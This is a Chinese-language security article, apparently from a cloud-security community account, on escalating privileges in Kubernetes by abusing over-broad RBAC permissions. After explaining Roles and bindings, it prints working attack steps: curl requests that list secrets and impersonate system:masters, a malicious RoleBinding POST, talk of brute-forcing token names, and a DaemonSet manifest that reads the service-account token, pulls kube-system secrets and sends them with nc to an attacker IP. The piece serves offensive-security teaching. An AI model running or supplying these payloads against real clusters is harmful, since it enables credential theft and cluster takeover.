K8s提權之RBAC權限濫用
在K8s中RBAC是常用的授權模式,如果在配置RBAC時分配了“過大”資源對象訪問權限可導致權限濫用來提權,以至于攻擊者擴大戰果,滲透集群。
如下是一些RBAC相關的筆記。
k8s的RBAC
RBAC - 基于角色的訪問控制。
RBAC使用rbac.authorization.k8s.io API Group 來實現授權決策,允許管理員通過 Kubernetes API 動態配置策略,要啟用RBAC,需要在 apiserver 中添加參數--authorization-mode=RBAC,如果使用的kubeadm安裝的集群,1.6 版本以上的都默認開啟了RBAC:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"

RBAC相關對象
K8s所有的資源對象都是模型化的API對象,允許執行CRUD,RBAC也有相關API對象,像Role、ClusterRole對象都是K8s內部的 API 資源,可以使用kubectl相關的命令來進行操作:
Role和ClusterRole:角色和集群角色,這兩個對象都包含上面的 Rules 元素,二者的區別在于,在 Role 中,定義的規則只適用于單個命名空間,也就是和 namespace 關聯的,而 ClusterRole 是集群范圍內的,因此定義的規則不受命名空間的約束。RoleBinding和ClusterRoleBinding:角色綁定和集群角色綁定,簡單來說就是把聲明的 Subject 和我們的 Role 進行綁定的過程(給某個用戶綁定上操作的權限),二者的區別也是作用范圍的區別:RoleBinding 只會影響到當前 namespace 下面的資源操作權限,而 ClusterRoleBinding 會影響到所有的 namespace。
舉一些RBAC使用的例子。
創建一個只能訪問固定namespace的的hx用戶
1.新創建一個用戶憑證
給hx用戶創建一個私鑰:
openssl genrsa -out hx.key 2048
再使用這個私鑰創建一個證書簽名請求文件,-subj參數后是用戶名和組(CN表示用戶名,O表示組):
openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"
然后再使用K8s的CA證書來批準上面的證書請求:

這時候證書文件生成成功:
$ ls h* ─╯hx.crt hx.csr hx.key
現在使用創建的證書和私鑰來在集群中創建新的憑證和上下文(Context):
sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key

為hx用戶設置新的 Context:
$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx ─╯Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata: name: hx-role namespace: kube-systemrules:- apiGroups: ["", "extensions", "apps"] resources: ["deployments", "replicasets", "pods"] verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']
其中幾個重要的字段:
apiGroups:其中的apiGroups: ["", "extensions", "apps"]為什么這么寫?是因為通過https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文檔查詢得知,Pod屬于 core API Group(為空即可),Deployment屬于 apps API Group,ReplicaSets屬于extensionsAPI Group。- verbs:可以對這些資源對象執行的操作,如果是所有操作就用*代替。
創建hx-role這個Role:

2.創建角色權限綁定
將hx用戶和這個role綁定起來:
apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: hx-rolebinding namespace: kube-systemsubjects:- kind: User name: hx apiGroup: ""roleRef: kind: Role name: hx-role apiGroup: ""

Subject字段是主題,對應在集群中嘗試操作的對象,集群中定義了3種類型的主題資源:
- User Account:用戶,這是有外部獨立服務進行管理的,管理員進行私鑰的分配,用戶可以使用 KeyStone或者 Goolge 帳號,甚至一個用戶名和密碼的文件列表也可以。對于用戶的管理集群內部沒有一個關聯的資源對象,所以用戶不能通過集群內部的 API 來進行管理
- Group:組,這是用來關聯多個賬戶的,集群中有一些默認創建的組,比如cluster-admin
- Service Account:服務帳號,通過KubernetesAPI 來管理的一些用戶帳號,和namespace進行關聯的,適用于集群內部運行的應用程序,需要通過 API 來完成權限認證,所以在集群內部進行權限操作,我們都需要使用到 ServiceAccount,這也是我們這節課的重點
現在使用hx用戶來操作集群資源,這個時候不需要指定namespace,因為已經給用戶分配了權限:
sudo kubectl get pods --context=hx-context

創建一個只能訪問固定namespace的的hx-sa的ServiceAccount
Subject字段還可以是ServiceAccount,對ServiceAccount來進行角色綁定。
1.創建一個ServiceAccount對象
sudo kubectl create sa hx-sa -n kube-system
2.創建角色
apiVersion: rbac.authorization.k8s.io/v1kind: Rolemetadata: name: hx-sa-role namespace: kube-systemrules:- apiGroups: [""] resources: ["pods"] verbs: ["get", "watch", "list"]- apiGroups: ["apps"] resources: ["deployments"] verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]

3.創建角色綁定
kind: RoleBindingapiVersion: rbac.authorization.k8s.io/v1metadata: name: hx-sa-rolebinding namespace: kube-systemsubjects:- kind: ServiceAccount name: hx-sa namespace: kube-systemroleRef: kind: Role name: hx-sa-role apiGroup: rbac.authorization.k8s.io

這時候可以使用sa賬戶的token去訪問apiserver的資源了:
sudo kubectl get secret -n kube-system |grep hx-sasudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d

創建ClusterRoleBinding
如果需要創建一個可以訪問所有namespace的角色,就可以使用ClusterRole 和 ClusterRoleBinding 這兩種資源對象了。
sa:
apiVersion: v1kind: ServiceAccountmetadata: name: hx-sa2 namespace: kube-system
ClusterRoleBinding 對象:
kind: ClusterRoleBindingapiVersion: rbac.authorization.k8s.io/v1beta1metadata: name: hx-sa2-clusterrolebindingsubjects:- kind: ServiceAccount name: hx-sa2 namespace: kube-systemroleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io
這里是直接使用的cluster-admin 這個對象(Kubernetes集群內置的 ClusterRole 對象)而不是單獨新建的ClusterRole對象。內置的集群角色和集群角色綁定都可以查看
kubectl get clusterrolekubectl get clusterrolebinding

RBAC權限濫用提權
權限濫用主要在對特定資源有特定操作的情況下,可以有特定的權限提升。
對哪里資源有哪些操作權限通過上面已經說了,看rules的字段內容即可,配置resources和verbs都為*那不用說,所有資源都可以進行任意操作。

枚舉當前RBAC權限
在指定當前通過滲透得到用戶憑據或者sa的憑據后,可以先枚舉當前有哪些權限


也可以使用curl對apiserver的api進行訪問來區別當前的權限:

枚舉之后應該對當前憑據對資源的操作有個數了,下面列舉在分配權限時,哪些情況下有提權提升的可能。
create pods權限
resources: ["*"] verbs: ["create"]:resources為*或者為pods的情況下,verbs是create,在集群中可以創建任意資源,比如像pods,roles.而創建pods的命名空間也取決你role中metadata.namespace的值:

如果有create權限,常見攻擊手法就是創建掛載根目錄的pod,跳到node:

list secrets權限
resources: ["*"] verbs: ["list"]:resources為*或者為secrets的情況下,verbs是list,在集群中可以列出其他user的secrets,一般拿來尋找特權賬號憑據。
具有list權限或者說是list secrets權限的role可以列出集群中重要的secrets,包括管理的keys(JWT):

利用:
curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/
get secret權限
resources: ["*"] verbs: ["get"]: resources為*或者為secrets的情況下,verbs是get,get可以在集群中獲得其他service accounts的secrets。
如下定義Role的resources字段為*或者secrets對象,并且verbs為get,這時候有權限獲得其他secrets。

get權限能訪問的api:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
但是get和list不一樣,get需要知道secrets的id才能讀:

圖出處:list和get來竊取憑據的區別:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
這時候用讀secrets來攻擊的話常見手法是讀默認的sa的token,默認有這些sa:

對應的token:
kubectl -n kube-system get secret -n kube-system

可以看到每個sa的token都是sa的name-token-隨機五個字符
其中隨機的字符是由數字和字母組合,特定的27個字符:
https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#

27的5次方也是14,348,907可能,寫個py腳本的迭代器爆破即可

get list watch secrets權限
resources: ["*"] verbs: ["get","list","watch"]:resources字段為*或者secrets的話可以利用這三個權限,來創建一個惡意pod后通過掛載secrets以至獲取別人的secrets,然后外帶:


這里使用automountServiceAccountToken將特權服務帳戶的令牌掛載到 pod,使用令牌獲取拿到所有secrets后用nc傳到攻擊者監聽端口,當前也可以使用其他方式帶外:

圖出處,創建一個"hot pod"來竊取憑據:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
Impersonate權限
用戶可以通過模擬標頭充當另一個用戶。這些讓請求手動覆蓋請求身份驗證的用戶信息。例如,管理員可以使用此功能通過臨時模擬另一個用戶并查看請求是否被拒絕來調試授權策略。
以下 HTTP 標頭可用于執行模擬請求:
- Impersonate-User:要充當的用戶名。
- Impersonate-Group:要充當的組名。可以多次提供設置多個組。可選的。需要“模擬用戶”。
- Impersonate-Extra-( extra name ):用于將額外字段與用戶關聯的動態標題。可選的。需要“模擬用戶”。
- Impersonate-Uid:代表被模擬用戶的唯一標識符。可選的。需要“模擬用戶”。Kubernetes 對此字符串沒有任何格式要求。
有了Impersonate權限攻擊者可以模擬一個有特權的賬戶或者組:
Role:

binding:

模擬用戶的操作是通過調用K8s API 的Header來指定的,kubectl可以加入--as參數:
kubectl --as ...kubectl --as --as-group ...
請求apiserver:
curl -k -v -XGET -H "Authorization: Bearer " \-H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \-H "Accept: application/json" \https://:/api/v1/namespaces/kube-system/secrets/
其他API資源對象的create權限濫用
如果當前Role的權限,是其他API對象的創建,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs等,都是可以進行創建然后在containers.args字段加入執行的e惡意命令:
apiVersion: apps/v1kind: DaemonSetmetadata: name: alpine namespace: kube-systemspec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
其他創建pod的方法具體可以查看pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates
Bind權限
用有bind權限允許用戶將高角色綁定到當前已經被控制的帳戶導致權限提權。
下面的ClusterRole使用了bind權限,允許用戶創建一個與管理ClusterRole(默認的高特權角色)的RoleBinding,并添加任何用戶,包括自己,到這個管理ClusterRole:

那么就有可能創造出惡意角色binging,它將管理員角色綁定到現在已經被控制的帳戶:

使用kubectl指定token或者curl到apiserver來完成綁定:
curl -k -v -X POST -H "Authorization: Bearer " \ -H "Content-Type: application/json" \https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \ -d @malicious-RoleBinging.json
然后當前賬戶就是高權限角色,自然可以列出secret等:
curl -k -v -X POST -H "Authorization: Bearer "\-H "Content-Type: application/json"https://:/api/v1/namespaces/kube-system/secret
【火線Zone云安全社區群】
進群可以與技術大佬互相交流
進群有機會免費領取節假日禮品
進群可以免費觀看技術分享直播
識別二維碼回復【社區群】進群

【火線Zone社區周激勵】
2022.6.13~ 2022.6.19公告

【相關精選文章】



火線Zone是[火線安全平臺]運營的云安全社區,內容涵蓋云計算、云安全、漏洞分析、攻防等熱門主題,研究討論云安全相關技術,助力所有云上用戶實現全面的安全防護。歡迎具備分享和探索精神的云上用戶加入火線Zone社區,共建一個云安全優質社區!
如需轉載火線Zone公眾號內的文章請聯系火線小助手:hxanquan(微信)

// 火線Zone //
微信號 : huoxian_zone

點擊閱讀原文,加入社區,共建一個有技術氛圍的優質社區!